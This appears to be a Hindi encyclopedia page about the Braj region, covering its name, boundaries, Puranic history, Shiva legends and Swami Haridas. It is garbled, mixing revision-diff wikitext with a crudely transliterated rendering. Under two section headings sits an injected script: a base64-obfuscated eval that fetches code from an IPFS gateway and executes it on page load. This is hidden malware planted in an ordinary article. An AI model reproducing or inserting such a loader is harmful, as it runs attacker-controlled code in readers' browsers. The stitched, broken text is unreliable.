[[चित्र:Galteshwar-Mahadeva-Temple-2.jpg|250px|[[गर्तेश्वर महादेव मथुरा|गर्तेश्वर महादेव]], [[मथुरा]]|thumb]]
+
[[चित्र:Galteshwar-Mahadeva-Temple-2.jpg|250px|left|[[गर्तेश्वर महादेव मथुरा|गर्तेश्वर महादेव]], [[मथुरा]]|thumb]]
 
<poem>श्रीमद्रोपीश्वरं वन्दे शंकरं करुणाकरम्।
 
<poem>श्रीमद्रोपीश्वरं वन्दे शंकरं करुणाकरम्।
 
सर्वक्लेशहरं देवं वृन्दारण्ये रतिप्रदम्।।</poem>
 
सर्वक्लेशहरं देवं वृन्दारण्ये रतिप्रदम्।।</poem>
 
====राम अवतार के समय====
 
====राम अवतार के समय====
जब-जब धरती पर भगवान ने अवतार लिया, तब-तब उनके बालरूप के दर्शन करने के लिए भगवान शंकर पृथ्वी पर पधारे। श्रीरामावतार के समय भगवान [[शंकर]] वृद्ध ज्योतिषी के रूप में श्री काकभुशुण्डि जी के साथ अयोध्या में पधारे और रनिवास में प्रवेश कर भगवान [[श्रीराम]], [[लक्ष्मण]], [[भरत (दशरथ पुत्र)|भरत]] और शत्रुघ्न के दर्शन किये।
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जब-जब धरती पर भगवान ने अवतार लिया, तब-तब उनके बालरूप के दर्शन करने के लिए भगवान [[शिव]] पृथ्वी पर पधारे। श्रीरामावतार के समय भगवान शंकर वृद्ध ज्योतिषी के रूप में [[काकभुशुण्डि]] जी के साथ अयोध्या में पधारे और रनिवास में प्रवेश कर भगवान [[श्रीराम]], [[लक्ष्मण]], [[भरत (दशरथ पुत्र)|भरत]] और शत्रुघ्न के दर्शन किये।
 
<poem>औरउ एक कहउँ निज चोरी। सुनु गिरिजा अति दृढ़ मति तोरी।।
 
<poem>औरउ एक कहउँ निज चोरी। सुनु गिरिजा अति दृढ़ मति तोरी।।
 
काकभुसंडि संग हम दोऊ। मनुजरूप जानइ नहिं कोऊ।।</poem>
 
काकभुसंडि संग हम दोऊ। मनुजरूप जानइ नहिं कोऊ।।</poem>
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====कृष्ण अवतार के समय====
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श्रीकृष्णावतार के समय साधु वेष में बाबा भोलेनाथ [[गोकुल]] पधारे। [[यशोदा]] भोलेनाथ जी का वेष देखकर डर गयीं उन्होंने कान्हा के दर्शन नहीं कराये। धूनी लगा दी द्वार पर, लाला रोने लगे, नज़र लग गयी। बाबा भोलेनाथ ने लाला की नज़र उतारी। बाबा भोलेनाथ कान्हा को गोद में लेकर नन्द के आंगन में नाच उठे। आज भी नन्द गाँव में भोलेनाथ `नन्देश्वर' नाम से विराजमान हैं।
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==ब्रज में स्वामी हरिदास जी==
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{{Main|स्वामी हरिदास जी}}
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[[बांके बिहारी मन्दिर वृन्दावन|बांकेबिहारी]] जी महाराज को [[वृन्दावन]] में प्रकट करने वाले स्वामी हरिदास जी का जन्म विक्रम सम्वत् 1535 में [[भाद्रपद]] [[मास]] के [[शुक्ल पक्ष]] की [[अष्टमी]] ([[राधाष्टमी]]) के ब्रह्म मुहूर्त में हुआ था। इनके पिता आशुधीर जी अपने उपास्य श्रीराधा-माधव की प्रेरणा से पत्नी गंगादेवी के साथ अनेक तीर्थो की यात्रा करने के पश्चात् [[अलीगढ़]] जनपद की कोल तहसील में 'ब्रज' आकर एक गांव में बस गए। विक्रम सम्वत् 1560 में पच्चीस वर्ष की अवस्था में हरिदास वृन्दावन पहुंचे। वहाँ उन्होंने [[निधिवन वृन्दावन|निधिवन]] को अपनी तप स्थली बनाया।
  
====श्रीकृष्णावतार के समय====
 
श्रीकृष्णावतार के समय साधु वेष में बाबा भोलेनाथ गोकुल पधारे। यशोदा भोलेनाथ जी का वेष देखकर यशोदा जी ने कान्हा का दर्शन नहीं कराया। धूनी लगा दी द्वार पर, लाला रोने लगे, नज़र लग गयी। बाबा भोलेनाथ ने लाला की नज़र उतारी। बाबा भोलेनाथ कान्हा को गोद में लेकर नन्द के आंगन में नाच उठे। आज भी नन्द गाँव में भोलेनाथ `नन्देश्वर' नाम से विराजमान हैं।
 
 
 
==ब्रज में स्वामी हरिदास जी==
 
[[चित्र:Swami-Haridas-Nidhivan-Vrindavan.jpg|250px|[[स्वामी हरिदास]] जी की समाधि, [[निधिवन वृन्दावन|निधिवन]], [[वृन्दावन]]|thumb]]
 
{{Main|स्वामी हरिदास जी}}
 
श्री [[बांके बिहारी मन्दिर वृन्दावन|बांकेबिहारी]] जी महाराज को [[वृन्दावन]] में प्रकट करने वाले स्वामी हरिदास जी का जन्म विक्रम सम्वत् 1535 में भाद्रपद मास के शुक्लपक्ष की अष्टमी (श्री [[राधाष्टमी]]) के ब्रह्म मुहूर्त में हुआ था। इनके पिता श्री आशुधीर जी अपने उपास्य श्रीराधा-माधव की प्रेरणा से पत्नी गंगादेवी के साथ अनेक तीर्थो की यात्रा करने के पश्चात [[अलीगढ़]] जनपद की कोल तहसील में 'ब्रज' आकर एक गांव में बस गए। विक्रम सम्वत् 1560 में पच्चीस वर्ष की अवस्था में श्री हरिदास वृन्दावन पहुंचे। वहां उन्होंने [[निधिवन वृन्दावन|निधिवन]] को अपनी तप स्थली बनाया।
 
  
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<div align="center">'''[[ब्रज का परिचय|आगे जाएँ »]]'''</div>
  
 
{{लेख प्रगति |आधार=|प्रारम्भिक=|माध्यमिक=माध्यमिक3|पूर्णता=|शोध=}}
 
{{लेख प्रगति |आधार=|प्रारम्भिक=|माध्यमिक=माध्यमिक3|पूर्णता=|शोध=}}
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चित्र:Holi-Gate-1.jpg|[[होली दरवाज़ा मथुरा|होली दरवाज़ा]], [[मथुरा]]
 
चित्र:Holi-Gate-1.jpg|[[होली दरवाज़ा मथुरा|होली दरवाज़ा]], [[मथुरा]]
 
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==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
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<references/>
==बाहरी कड़ियाँ==
 
*[http://hi.brajdiscovery.org/index.php?title=%E0%A4%AE%E0%A5%81%E0%A4%96%E0%A4%AA%E0%A5%83%E0%A4%B7%E0%A5%8D%E0%A4%A0 ब्रज डिस्कवरी]
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{ब्रज}}{{ब्रज का इतिहास}}{{ब्रज के दर्शनीय स्थल}}{{ब्रज के प्रमुख स्थल}}
 
{{ब्रज}}{{ब्रज का इतिहास}}{{ब्रज के दर्शनीय स्थल}}{{ब्रज के प्रमुख स्थल}}

Latest revision as of 10:58, 17 February 2018

braj vishay soochi
braj
vivaran bhagavat mean ‘braj’ kshetr vishesh ko iangit karate hue hi prayukt hua hai. vahaan ise ek chhote gram ki sanjna di gee hai. usamean ‘pur’ se chhota ‘gram’ aur usase bhi chhoti basti ko ‘braj’ kaha gaya hai. 16vian shatabdi mean ‘braj’ pradesh ke arth mean hokar ‘brajamandal’ ho gaya aur tab usaka akar 84 kos ka mana jane laga tha.
braj kshetr aj jise ham braj kshetr manate haian usaki dishaaian, uttar disha mean palaval (hariyana), dakshin mean gvaliyar (madhy pradesh), pashchim mean bharatapur (rajasthan) aur poorv mean eta (uttar pradesh) ko chhooti haian.
braj ke keandr mathura evan vrindavan
braj ke van kotavan, kamyavan, kumudavan, kokilavan, khadiravan, talavan, bahulavan, biharavan, belavan, bhadravan, bhaandiravan, madhuvan, mahavan, lauhajanghavan evan vrindavan
bhasha hiandi aur brajabhasha
pramukh parv evan tyohar holi, krishna janmashtami, yam dvitiya, guru poornima, radhashtami, govardhan pooja, gopashtami, nandotsav evan kans mela
pramukh darshaniy sthal krishna janmabhoomi, dvarikadhish mandir, rajakiy sangrahalay, baanke bihari mandir, rang nath ji mandir, govind dev mandir, isk aaun mandir, madan mohan mandir, danaghati mandir, manasi ganga, kusum sarovar, jayagurudev mandir, radha rani mandir, nand ji mandir, vishram ghat , daooji mandir
sanbandhit lekh braj ka pauranik itihas, braj chaurasi kos ki yatra, moorti kala mathura
any janakari braj ke van–upavan, kunj–nikunj, shri yamuna v giriraj atyant mohak haian. pakshiyoan ka madhur svar ekaanki sthali ko madak evan manohar banata hai. moroan ki bahutayat tatha unaki pioo–pioo ki avaz se vatavaran gunjayaman rahata hai.

braj (aangrezi: Braj) bhagavan shrikrishna ki lila sthali ke roop mean sare vishv mean prasiddh hai. vartaman samay mean uttar pradesh ke mathura sahit vah bhoo-bhag, jo shrikrishna ke janm aur unaki vividh lilaoan se sambandhit hai, braj kahalata hai. is prakar braj vartaman mathura mandal aur prachin shoorasen pradesh ka apar nam aur usaka ek chhota roop hai. isamean mathura, vrindavan, govardhan, gokul, mahavan, baladev, nandagaanv, barasana, dig aur kamyavan adi bhagavan shrikrishna ke sabhi lila-sthal sammilit haian. braj ki sima ko chaurasi kos mana gaya hai. sooradas tatha any brajabhasha ke bhakt kaviyoan aur vartakaroan ne bhagavat puran ke anukaran par mathura ke nikatavarti vany pradesh ko braj kaha hai aur use sarvatr 'mathura', 'madhupuri' ya 'madhuvan' se prithakh vatalaya hai. mathura, jalesar, bharatapur, agara, hatharas, dhaulapur, aligadh, itava, mainapuri, eta, kasaganj aur firojabad, ye sabhi braj kshetr mean ane vale pramukh nagar haian.

parichay

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

braj uttar pradesh rajy ka sarvapramukh prasiddh tirth sthal hai. yah sampoorn bharat mean bhagavan shrikrishna ki kri dasthali aur unaki lilaoan ke lie prasiddh hai. 'braj' shabd ke arth ka kal-kramanusar hi vikas hua hai. vedoan aur ramayan-mahabharat ke kal mean jahaan isaka prayog ‘goshth’, 'go-sthan’ jaise laghu sthal ke liye hota tha, vahian pauranik kal mean ‘gop-basti’ jaise kuchh b de sthan ke liye isaka prayog kiya jane laga. us samay tak yah shabd ek pradesh ke lie prayukt n hokar kshetr vishesh ka hi prayojan spasht karata tha. bhagavat mean ‘braj’ kshetr vishesh ko iangit karate hue prayukt hua hai. vahaan ise ek chhote gaanv ki sanjna di gee hai. usamean ‘pur’ se chhota ‘gram’ aur usase bhi chhoti basti ko ‘braj’ kaha gaya hai. 16vian shatabdi mean ‘braj’ pradesh ke arth mean hokar ‘brajamandal’ ho gaya aur tab usaka akar 84 kos ka mana jane laga tha. us samay mathura ‘braj’ mean sammilit nahian mana jata tha. sooradas tatha any brajabhasha ke kaviyoan ne ‘braj’ aur mathura ka prithakh roop mean hi kathan kiya hai.

braj shabd ki paribhasha

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vaidik sanhitaoan tatha ramayan, mahabharat adi sanskrit ke prachin dharmagranthoan mean braj shabd goshala, go-sthan, gochar bhoomi ke arthoan mean prayukt hua hai. rrigved mean yah shabd goshala athava gayoan ke khirak ke roop mean varnit hai. yajurved mean gayoan ke charane ke sthan ko braj aur goshala ko goshth kaha gaya hai. shukl yajurved mean sundar siangoan vali gayoan ke vicharan sthan se braj ka sanket milata hai. atharvaved mean goshalaoan se sambandhit poora sookt hi prastut hai. harivanshapuran tatha bhagavatapuran adi mean yah shabd gop bast ke roop mean prayukt hua hai. skandapuran mean maharshi shandily ne braj shabd ka arth vatalate hue ise vyapak brahm ka roop kaha hai. at: yah shabd braj ki adhyatmikata se sambandhit hai.

bhoogol

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kisi bhi saanskritik bhoo-khand ke saskritik vaibhav ke adhyayan ke liye us bhoo-khand ka prakritik v bhaugolik adhyayan ati avashyak hota hai. sanskrit aur brajabhasha ke granthoan mean braj ke dharmik mahatv par adhik prakash dala gaya hai, kintu unamean kuchh prakritik aur bhaugolik sthiti se bhi sambandhit varnan prastut haian. ye ullekh braj ke un bhakt kaviyoan ki kritiyoan mean prastut haian, jinhoanne 16vian shati ke bad yahaan nivas kar apani rachanaean srijit ki thian. unamean se kuchh mahanubhavoan ne braj ke lupt sthaloan aur bhoole hue upakaranoan ka anuveshan kar unake mahatv ko punah sthapit karane ka prayas kiya. aj jise ham braj kshetr manate haian, usaki dishaean, uttar disha mean palaval (hariyana), dakshin mean gvaliyar (madhy pradesh), pashchim mean bharatapur (rajasthan) aur poorv mean eta (uttar pradesh) ko chhooti haian.

vistar

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braj ko yadi brajabhasha bolane vale kshetr se paribhashit karean to yah bahut vistrit kshetr ho jata hai. isamean panjab se maharashtr tak aur rajasthan se bihar tak ke log bhi brajabhasha ke shabdoan ka prayog bolachal mean pratidin karate haian. krishna se to poora vishv parichit hai. aisa lagata hai ki braj ki simaean nirdharit karane ka kary asan nahian hai, phir bhi braj ki simaean to haian hi aur unaka nirdharan bhi kiya gaya hai. vartaman mathura tatha usake as-pas ka pradesh, jise braj kaha jata hai; prachin kal mean shoorasen janapad ke nam se prasiddh tha. ee. satavian shati mean jab chini yatri huen-saang yahaan aya, tab usane likha ki- "mathura rajy ka vistar 5,000 li (lagabhag 833 mil) tha. dakshin-poorv mean mathura rajy ki sima jejakabhukti (jijhauti) ki pashchimi sima se tatha dakshin-pashchim mean malav rajy ki uttari sima se milati rahi hogi."

pauranik itihas

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sarasvati ke nikat hi drishadvati nadi bahati thi. manu ne sarasvati aur drishadvati nadiyoan ke doab ko 'brahmavart' pradesh ki sanjna di hai. brahmavart ka nikatavarti bhoo-bhag 'brahmarshi pradesh' kahalata tha. usake aantargat kuru, matsy, panchal aur shoorasen janapadoan ki sthiti mani gee hai. manusmriti[1] mean janapadoan ke nivasiyoan ke achar-vichar samast prithvi ke nar-nariyoan ke lie adarsh batalaye gaye haian. vaidik sanskriti ka pradurbhav chahe sapt siandhav pradesh mean hua, kiantu vah brahmavart aur brahmarshi pradeshoan mean vikasit huee thi. siandhu, sarasvati aur drishadvati se lekar yamuna nadi tak ke vishal pavan pradesh ne vaidik sanskriti ke pradurbhav aur vikas mean mahattvapoorn yog diya tha. is prakar shoorasen janapad, jo mathura mandal athava brajamandal ka prachin nam hai, vaidik sanskriti ke vikas ka anyatam puratan pradesh raha hai.

braj mean gopi bane tripurari

[[chitr:Galteshwar-Mahadeva-Temple-2.jpg|250px|left|garteshvar mahadev, mathura|thumb]]

shrimadropishvaran vande shankaran karunakaramh.
sarvakleshaharan devan vrindaranye ratipradamh..

ram avatar ke samay

jab-jab dharati par bhagavan ne avatar liya, tab-tab unake balaroop ke darshan karane ke lie bhagavan shiv prithvi par padhare. shriramavatar ke samay bhagavan shankar vriddh jyotishi ke roop mean kakabhushundi ji ke sath ayodhya mean padhare aur ranivas mean pravesh kar bhagavan shriram, lakshman, bharat aur shatrughn ke darshan kiye.

auru ek kahuan nij chori. sunu girija ati dridh mati tori..
kakabhusandi sang ham dooo. manujaroop jani nahian kooo..

krishna avatar ke samay

shrikrishnaavatar ke samay sadhu vesh mean baba bholenath gokul padhare. yashoda bholenath ji ka vesh dekhakar dar gayian unhoanne kanha ke darshan nahian karaye. dhooni laga di dvar par, lala rone lage, nazar lag gayi. baba bholenath ne lala ki nazar utari. baba bholenath kanha ko god mean lekar nand ke aangan mean nach uthe. aj bhi nand gaanv mean bholenath `nandeshvar' nam se virajaman haian.

braj mean svami haridas ji

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baankebihari ji maharaj ko vrindavan mean prakat karane vale svami haridas ji ka janm vikram samvath 1535 mean bhadrapad mas ke shukl paksh ki ashtami (radhashtami) ke brahm muhoort mean hua tha. inake pita ashudhir ji apane upasy shriradha-madhav ki prerana se patni gangadevi ke sath anek tirtho ki yatra karane ke pashchath aligadh janapad ki kol tahasil mean 'braj' akar ek gaanv mean bas ge. vikram samvath 1560 mean pachchis varsh ki avastha mean haridas vrindavan pahuanche. vahaan unhoanne nidhivan ko apani tap sthali banaya.


age jaean »


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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vithika

tika tippani aur sandarbh

  1. manusmriti - 2-17,16, 20

sanbandhit lekh

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